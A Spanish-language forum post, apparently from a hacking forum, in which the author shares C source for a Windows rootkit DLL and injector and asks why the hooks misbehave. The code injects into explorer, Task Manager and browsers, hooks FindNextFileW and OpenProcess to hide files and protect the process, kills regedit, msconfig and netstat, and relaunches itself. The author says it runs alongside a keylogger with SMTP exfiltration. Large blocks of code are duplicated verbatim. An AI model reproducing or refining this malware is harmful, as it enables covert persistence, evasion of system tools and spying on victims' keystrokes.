
Código:
//---------------------------------------------------------------------------
#include <windows.h>
#include "windows.h"
#include "Tlhelp32.h"
#include "string.h"
#include "stdio.h"
#pragma argsused
BYTE *BufferFN;
BYTE *BufferFN2;
char Prefijo[] = "myexe";
char Prefijo2[] = "myexe" ;
void Hookear();
void Hookeartask();
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
HANDLE __stdcall miOpenProcessW(unsigned long acces,int inherit,unsigned long pid);
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
HANDLE (__stdcall *pBuffFN2)(unsigned long acces,int inherit,unsigned long pid);
LPCSTR ExtractFileName (LPCSTR path)
{
const char *p;
LPCSTR name;
p= strchr (path, '\\');
while (p!=NULL)
{
name = p+1;
p= strchr (p+1, '\\');
}
if (!*name) return 0;
else return name;
}
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if ( !LookupPrivilegeValue(NULL,lpszPrivilege,&luid ) )
{
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if ( !AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES) NULL,(PDWORD) NULL) )
{
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
return FALSE;
}
return TRUE;
}
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
HANDLE h1;
HANDLE handle;
PROCESSENTRY32 procinfo;
char nout[MAX_PATH]="";
LPCSTR name;
_OFSTRUCT ofs;
char dir1[260]=" ";
char dir2[260]=" ";
char exe1[300]=" ";
char exe2[300]=" ";
char comand[300]=" ";
char comf[300]=" ";
unsigned long exitCode;
int pid;
const size_t newsize = 100;
char nstring[newsize];
size_t convertedChars = 0;
int ban;
FILE *p;
if (reason== DLL_PROCESS_ATTACH)
{
GetModuleFileName(NULL,nout,MAX_PATH);
name=ExtractFileName(nout);
if(strcmp(name,"explorer.exe")==0)
{
Hookear();
}
if(strcmp(name,"jusched.exe")==0||strcmp(name,"ctfmon.exe")==0||strcmp(name,"mm_tray.exe")==0)
{
HANDLE th = 0; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES , &th);
SetPrivilege(th, SE_DEBUG_NAME, true);
strcpy(comf,getenv("HOMEDRIVE"));
strcat(comf,"\\");
strcat(comf,getenv("SystemRoot"));
strcat(comf,"\\");
strcat(comf,"mydll.dll");
_OFSTRUCT ofs;
if (OpenFile(exe1,&ofs,OF_EXIST) == HFILE_ERROR)
{
strcpy(comf,getenv("HOMEDRIVE"));
strcat(comf,"\\");
strcat(comf,getenv("APPDATA"));
strcat(comf,"\\");
strcat(comf,"mydll.dll");
}
strcpy(dir1,getenv("SystemRoot"));
strcpy(dir2,getenv("APPDATA"));
strcat(dir1,"\\");
strcat(dir2,"\\");
strcat(strcpy(exe1,dir1),"myexe.exe");
strcat(strcpy(exe2,dir2),"myexe.exe");
__int64 interruptor=30;
do
{
Sleep(1000);
handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo= {sizeof(PROCESSENTRY32)};
ban=0;
while(Process32Next(handle,&procinfo))
{
if(strcmp(procinfo.szExeFile,"taskmgr.exe")==0&&interruptor>=60)
{
interruptor=0;
bool hay;
HMODULE Hm;
const size_t newsize = 100;
size_t convertedChars = 0;
char nstring[newsize];
char c[260];
HANDLE proceso,proceso1;
LPVOID RemoteString;
LPVOID nLoadLibrary;
__int64 j=PROCESS_ALL_ACCESS;
SIZE_T y;
int pid;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
int ban,ban1,ban3=0;
ban=1;
pid=procinfo.th32ProcessID;
nLoadLibrary=(LPVOID)GetProcAddress(Hm=GetModuleHandle("kernel32.dll"),"LoadLibraryA");
proceso1=OpenProcess(PROCESS_ALL_ACCESS ,false,pid);
ban=0;
if(proceso1)
{
RemoteString=VirtualAllocEx(proceso1,NULL,strlen(comf),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso1,(LPVOID)RemoteString,comf,y=strlen(comf),NULL);
CreateRemoteThread(proceso1,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso1);
}
}
if(strcmp(procinfo.szExeFile,"myexe.exe")==0)
{
ban=1;
}
if(strcmp(procinfo.szExeFile,"regedit.exe")==0||strcmp(procinfo.szExeFile,"msconfig.exe")==0||strcmp(procinfo.szExeFile,"netstat.exe")==0)
{
pid=procinfo.th32ProcessID;
h1=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
bool ban2=0;
if(h1!=NULL)
{
GetExitCodeProcess(h1, &exitCode);
TerminateProcess(h1, exitCode);
CloseHandle(h1);
ban2=true;
}
if(!ban2)
CloseHandle(h1);
}
}
if(!ban)
{
_OFSTRUCT ofs;
if (OpenFile(exe1,&ofs,OF_EXIST) != HFILE_ERROR)
{
strcpy(comf,"sc start ");
strcat(comf,"nombre del servicio");
WinExec(comf,SW_HIDE);
strcpy(comf,"sc continue ");
strcat(comf,"nombre del servicio");
WinExec(comf,SW_HIDE);
}
else
{
strcpy(comf,exe2);
ShellExecute(0,"OPEN",comf,NULL,dir2,SW_HIDE);
}
}
CloseHandle(handle);
}
while(1);
}
if(strcmp(name,"taskmgr.exe")==0)
{
Hookeartask();
}
}
return 1;
}
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
HANDLE hand;
char ascStr[611];
do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
return hand;
}
HANDLE __stdcall miOpenProcessW(unsigned long acces,int inherit,unsigned long pid)
{
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
int ban=0;
while(Process32Next(handle,&procinfo))
{
if(strcmp(procinfo.szExeFile,"myexe.exe")==0)
{
if(procinfo.th32ProcessID==pid)
{
pid=0;
}
}
}
if(pid!=-1)
return pBuffFN2(acces,inherit, pid);
else
return 0;
}
void Hookeartask()
{
DWORD ProteVieja;
BYTE *DirFN;
BYTE *DirYoFN;
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenProcess");
BufferFN2=(BYTE *) malloc (10);
VirtualProtect((void *) BufferFN2, 10, PAGE_EXECUTE_READWRITE,
&ProteVieja);
memcpy(BufferFN2,DirFN,5);
BufferFN2 += 5;
*BufferFN2=0xE9;
BufferFN2++;
*((signed int *) BufferFN2)= DirFN - BufferFN2 + 1;
pBuffFN2 = (HANDLE (__stdcall *)(unsigned long,int,unsigned long))
(BufferFN2-6);
VirtualProtect((void *)DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
DirYoFN=(BYTE *) miOpenProcessW;
*DirFN=0xE9;
DirFN++;
*((signed int *) DirFN)=DirYoFN - DirFN - 4;
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}
void Hookear()
{
DWORD ProteVieja;
BYTE *DirFN;
BYTE *DirYoFN;
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"),"FindNextFileW");
BufferFN=(BYTE *) malloc (12);
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE,
&ProteVieja);
memcpy(BufferFN,DirFN,7);
BufferFN += 7;
*BufferFN=0xE9;
BufferFN++;
*((signed int *) BufferFN)= DirFN - BufferFN + 3;
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW))
(BufferFN-8);
VirtualProtect((void *)
DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
DirYoFN=(BYTE *) miFindNextFileW;
*DirFN=0xE9;
DirFN++;
*((signed int *) DirFN)=DirYoFN - DirFN - 4;
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}
#include <windows.h>
#include "windows.h"
#include "Tlhelp32.h"
#include "string.h"
#include "stdio.h"
#pragma argsused
BYTE *BufferFN;
BYTE *BufferFN2;
char Prefijo[] = "myexe";
char Prefijo2[] = "myexe" ;
void Hookear();
void Hookeartask();
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
HANDLE __stdcall miOpenProcessW(unsigned long acces,int inherit,unsigned long pid);
HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
HANDLE (__stdcall *pBuffFN2)(unsigned long acces,int inherit,unsigned long pid);
LPCSTR ExtractFileName (LPCSTR path)
{
const char *p;
LPCSTR name;
p= strchr (path, '\\');
while (p!=NULL)
{
name = p+1;
p= strchr (p+1, '\\');
}
if (!*name) return 0;
else return name;
}
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if ( !LookupPrivilegeValue(NULL,lpszPrivilege,&luid ) )
{
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if ( !AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES) NULL,(PDWORD) NULL) )
{
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
return FALSE;
}
return TRUE;
}
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
HANDLE h1;
HANDLE handle;
PROCESSENTRY32 procinfo;
char nout[MAX_PATH]="";
LPCSTR name;
_OFSTRUCT ofs;
char dir1[260]=" ";
char dir2[260]=" ";
char exe1[300]=" ";
char exe2[300]=" ";
char comand[300]=" ";
char comf[300]=" ";
unsigned long exitCode;
int pid;
const size_t newsize = 100;
char nstring[newsize];
size_t convertedChars = 0;
int ban;
FILE *p;
if (reason== DLL_PROCESS_ATTACH)
{
GetModuleFileName(NULL,nout,MAX_PATH);
name=ExtractFileName(nout);
if(strcmp(name,"explorer.exe")==0)
{
Hookear();
}
if(strcmp(name,"jusched.exe")==0||strcmp(name,"ctfmon.exe")==0||strcmp(name,"mm_tray.exe")==0)
{
HANDLE th = 0; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES , &th);
SetPrivilege(th, SE_DEBUG_NAME, true);
strcpy(comf,getenv("HOMEDRIVE"));
strcat(comf,"\\");
strcat(comf,getenv("SystemRoot"));
strcat(comf,"\\");
strcat(comf,"mydll.dll");
_OFSTRUCT ofs;
if (OpenFile(exe1,&ofs,OF_EXIST) == HFILE_ERROR)
{
strcpy(comf,getenv("HOMEDRIVE"));
strcat(comf,"\\");
strcat(comf,getenv("APPDATA"));
strcat(comf,"\\");
strcat(comf,"mydll.dll");
}
strcpy(dir1,getenv("SystemRoot"));
strcpy(dir2,getenv("APPDATA"));
strcat(dir1,"\\");
strcat(dir2,"\\");
strcat(strcpy(exe1,dir1),"myexe.exe");
strcat(strcpy(exe2,dir2),"myexe.exe");
__int64 interruptor=30;
do
{
Sleep(1000);
handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo= {sizeof(PROCESSENTRY32)};
ban=0;
while(Process32Next(handle,&procinfo))
{
if(strcmp(procinfo.szExeFile,"taskmgr.exe")==0&&interruptor>=60)
{
interruptor=0;
bool hay;
HMODULE Hm;
const size_t newsize = 100;
size_t convertedChars = 0;
char nstring[newsize];
char c[260];
HANDLE proceso,proceso1;
LPVOID RemoteString;
LPVOID nLoadLibrary;
__int64 j=PROCESS_ALL_ACCESS;
SIZE_T y;
int pid;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
int ban,ban1,ban3=0;
ban=1;
pid=procinfo.th32ProcessID;
nLoadLibrary=(LPVOID)GetProcAddress(Hm=GetModuleHandle("kernel32.dll"),"LoadLibraryA");
proceso1=OpenProcess(PROCESS_ALL_ACCESS ,false,pid);
ban=0;
if(proceso1)
{
RemoteString=VirtualAllocEx(proceso1,NULL,strlen(comf),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso1,(LPVOID)RemoteString,comf,y=strlen(comf),NULL);
CreateRemoteThread(proceso1,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso1);
}
}
if(strcmp(procinfo.szExeFile,"myexe.exe")==0)
{
ban=1;
}
if(strcmp(procinfo.szExeFile,"regedit.exe")==0||strcmp(procinfo.szExeFile,"msconfig.exe")==0||strcmp(procinfo.szExeFile,"netstat.exe")==0)
{
pid=procinfo.th32ProcessID;
h1=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
bool ban2=0;
if(h1!=NULL)
{
GetExitCodeProcess(h1, &exitCode);
TerminateProcess(h1, exitCode);
CloseHandle(h1);
ban2=true;
}
if(!ban2)
CloseHandle(h1);
}
}
if(!ban)
{
_OFSTRUCT ofs;
if (OpenFile(exe1,&ofs,OF_EXIST) != HFILE_ERROR)
{
strcpy(comf,"sc start ");
strcat(comf,"nombre del servicio");
WinExec(comf,SW_HIDE);
strcpy(comf,"sc continue ");
strcat(comf,"nombre del servicio");
WinExec(comf,SW_HIDE);
}
else
{
strcpy(comf,exe2);
ShellExecute(0,"OPEN",comf,NULL,dir2,SW_HIDE);
}
}
CloseHandle(handle);
}
while(1);
}
if(strcmp(name,"taskmgr.exe")==0)
{
Hookeartask();
}
}
return 1;
}
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
HANDLE hand;
char ascStr[611];
do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
return hand;
}
HANDLE __stdcall miOpenProcessW(unsigned long acces,int inherit,unsigned long pid)
{
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
int ban=0;
while(Process32Next(handle,&procinfo))
{
if(strcmp(procinfo.szExeFile,"myexe.exe")==0)
{
if(procinfo.th32ProcessID==pid)
{
pid=0;
}
}
}
if(pid!=-1)
return pBuffFN2(acces,inherit, pid);
else
return 0;
}
void Hookeartask()
{
DWORD ProteVieja;
BYTE *DirFN;
BYTE *DirYoFN;
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenProcess");
BufferFN2=(BYTE *) malloc (10);
VirtualProtect((void *) BufferFN2, 10, PAGE_EXECUTE_READWRITE,
&ProteVieja);
memcpy(BufferFN2,DirFN,5);
BufferFN2 += 5;
*BufferFN2=0xE9;
BufferFN2++;
*((signed int *) BufferFN2)= DirFN - BufferFN2 + 1;
pBuffFN2 = (HANDLE (__stdcall *)(unsigned long,int,unsigned long))
(BufferFN2-6);
VirtualProtect((void *)DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
DirYoFN=(BYTE *) miOpenProcessW;
*DirFN=0xE9;
DirFN++;
*((signed int *) DirFN)=DirYoFN - DirFN - 4;
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}
void Hookear()
{
DWORD ProteVieja;
BYTE *DirFN;
BYTE *DirYoFN;
DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"),"FindNextFileW");
BufferFN=(BYTE *) malloc (12);
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE,
&ProteVieja);
memcpy(BufferFN,DirFN,7);
BufferFN += 7;
*BufferFN=0xE9;
BufferFN++;
*((signed int *) BufferFN)= DirFN - BufferFN + 3;
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW))
(BufferFN-8);
VirtualProtect((void *)
DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
DirYoFN=(BYTE *) miFindNextFileW;
*DirFN=0xE9;
DirFN++;
*((signed int *) DirFN)=DirYoFN - DirFN - 4;
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}
Funcion inyectora
Código:
void inyectar(int mod)
{
bool hay;
FILE *a;
HMODULE Hm;
const size_t newsize = 100;
size_t convertedChars = 0;
char nstring[newsize];
char c[260];
HANDLE proceso,proceso1;
LPVOID RemoteString;
LPVOID nLoadLibrary;
__int64 j=PROCESS_ALL_ACCESS;
SIZE_T y;
int pid;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
int ban,ban1,ban3=0;
while(Process32Next(handle,&procinfo)&&mod==1)
{
if((strcmp(procinfo.szExeFile,"jusched.exe")==0||strcmp(procinfo.szExeFile,"explorer.exe")==0||strcmp(procinfo.szExeFile,"taskmgr.exe")==0||strcmp(procinfo.szExeFile,"ctfmon.exe")==0||strcmp(procinfo.szExeFile,"chrome.exe")==0||strcmp(procinfo.szExeFile,"firefox.EXE")==0)&&!ban3)
{
pid=procinfo.th32ProcessID;
nLoadLibrary=(LPVOID)GetProcAddress(Hm=GetModuleHandle("kernel32.dll"),"LoadLibraryA");
proceso1=OpenProcess(PROCESS_ALL_ACCESS ,false,pid);
ban=0;
if(proceso1)
{
RemoteString=VirtualAllocEx(proceso1,NULL,strlen(AnsiString(masterdir+"mydll.dll").c_str()),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso1,(LPVOID)RemoteString,(AnsiString(masterdir+"mydll.dll").c_str()),y=strlen(AnsiString(masterdir+"mydll.dll").c_str()),NULL);
CreateRemoteThread(proceso1,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso1);
ban=1;
ban1=1;
ban3=1;
}
}
}
CloseHandle(handle);
}
{
bool hay;
FILE *a;
HMODULE Hm;
const size_t newsize = 100;
size_t convertedChars = 0;
char nstring[newsize];
char c[260];
HANDLE proceso,proceso1;
LPVOID RemoteString;
LPVOID nLoadLibrary;
__int64 j=PROCESS_ALL_ACCESS;
SIZE_T y;
int pid;
HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
int ban,ban1,ban3=0;
while(Process32Next(handle,&procinfo)&&mod==1)
{
if((strcmp(procinfo.szExeFile,"jusched.exe")==0||strcmp(procinfo.szExeFile,"explorer.exe")==0||strcmp(procinfo.szExeFile,"taskmgr.exe")==0||strcmp(procinfo.szExeFile,"ctfmon.exe")==0||strcmp(procinfo.szExeFile,"chrome.exe")==0||strcmp(procinfo.szExeFile,"firefox.EXE")==0)&&!ban3)
{
pid=procinfo.th32ProcessID;
nLoadLibrary=(LPVOID)GetProcAddress(Hm=GetModuleHandle("kernel32.dll"),"LoadLibraryA");
proceso1=OpenProcess(PROCESS_ALL_ACCESS ,false,pid);
ban=0;
if(proceso1)
{
RemoteString=VirtualAllocEx(proceso1,NULL,strlen(AnsiString(masterdir+"mydll.dll").c_str()),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso1,(LPVOID)RemoteString,(AnsiString(masterdir+"mydll.dll").c_str()),y=strlen(AnsiString(masterdir+"mydll.dll").c_str()),NULL);
CreateRemoteThread(proceso1,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso1);
ban=1;
ban1=1;
ban3=1;
}
}
}
CloseHandle(handle);
}
Bueno la cuestion es que que my exe trata de inyectar esta dll a los procesos arriba mencionados si es explorer.exe trata de hookear la api FindNextFile para ocultar el archivo, si es a jusched o a otros procesos se pone en modo latente en un bucle infinito donde monitorea el proceso si lo terminan lo vuelve a ejecutar sea servicio o exe normal y detecta si abrimos el taskmgr y si lo encuentra trata de inyectarce a si misma al proceso del taskmgr
bueno por lo menos esa es la teoria , en caso de que el proceso en el que se inyecta sea taskmgr: Esta si la hookee yo sin ver ningun ejemplo solo con una sugerencia de hendrix en un hilo por alli jeje
hookea openprocess como el administrador ejecuta openprocess seguido de terminateprocess para extirpar un proceso intercepto el pid y si es igual al pid de mi bicho lo cambia a cero jeje y el taskmgr devuelve un error diciendo que ya se agotaron los archivos
y si le metemos el pid del proceso System "no esta en el codigo pero ya lo he hecho" te devuelve algo asi como "ACCESO DENEGADO" .Ahora la pregunta es que he probado cada Api- hook por separado y funcionan al pelo pero cuando las incluyo todas en un solo dll se comporta anormalmente cumple todas las funciones exepto la de FindNextFile en mi caso el exe esta sobre cargado con dos puertos en escucha y 2 clientes ademas de un keyloger con un motor smtp XD por lo que agregarle otro hilo de deteccion del proceso taskmgr me afectaria las otras funciones por que seria un cilclo de no mas de 2 segundos que es el tiempo minimo para abrir el taskmgr y terminar un proceso.
Tengo un code por alli en prueba con la Api Process32Next y he tratado de modificar el parametro
Código:
LPPROCESSENTRY32 lppe
mas o menos asi
Código:
if(strcmp(lppe->szExeFile,"mibichoexe")==0)
{
strcpy(lppe ->szExeFile,"serhosf.exe") ;
ppe ->th32ProcessID=150;
a=pBuffFN3(hwnd,lppe);
}
{
strcpy(lppe ->szExeFile,"serhosf.exe") ;
ppe ->th32ProcessID=150;
a=pBuffFN3(hwnd,lppe);
}
Si el nombre del exe es igual al del bicho lo cambia y cambia el pid que es lo mas importante lo hago con ajustes de token SE_DEBUG_NAME y despues llama a la funcion original para otra busqueda.
Bueno el problema aqui es que no la cambia ni el pid ni el nombre del exe por lo que no la oculta cualquier solucion la agradeceria saludos....











Autor



En línea

, igual el trabajo esta muy bueno
, estos aportes son los que se requieren 





.









